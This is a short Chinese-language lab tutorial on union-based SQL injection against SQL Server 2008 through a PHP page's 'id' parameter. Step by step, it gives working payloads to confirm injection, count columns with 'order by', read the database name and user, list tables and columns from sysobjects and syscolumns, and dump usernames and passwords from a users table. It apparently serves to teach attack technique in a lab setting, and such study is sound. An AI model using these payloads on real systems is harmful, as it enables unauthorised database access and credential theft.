sql注入 sqlserver聯合查詢

實驗環境：sqlserver 2008

實驗步驟：

一、判斷是否有注入

分別輸入ip/1.php?id=1 and 1=1和ip/1.php?id=1 and 1=2可判斷出該處存在注入

二、判斷顯示位

1.輸入 order by 3，顯示出第三列

2.輸入 order by 4，顯示下面情況,說明顯示位有3列

三、檢視資料庫

在瀏覽器中輸入： union select null,db_name(),null，可看到資料庫名為test

四、檢視使用者名稱

輸入： union select null,user_name(),null，可看到使用者在資料庫中的名為dbo

五、檢視指定資料庫有哪些表（注：這裡的表是指使用者的表）

1.輸入： union select null,name,null from test.sys.sysobjects where xtype='u'，這裡可看到該資料庫有users表

2.輸入： union select top 1 null,name,null from test.sys.sysobjects where xtype='u' and name !='users'可查詢非users的表，如下圖：

六、檢視對應表的列

1.輸入： union select top 1 null,name,null from test.sys.syscolumns where id=object_id('users') 可看到第一列;

2.輸入： union select top 1 null,name,null from test.sys.syscolumns where id=object_id('users') and name !='id';可看到第二列，以此類推……

七、檢視使用者名稱和密碼資訊

輸入： union select top 1 null,username,password from users where username!='zs';可看到第二個使用者的使用者名稱和密碼

第三個使用者名稱和密碼，可輸入：?id=-1 union select top 1 null,username,password from users where username !='zs' and username !='......'，以此類推……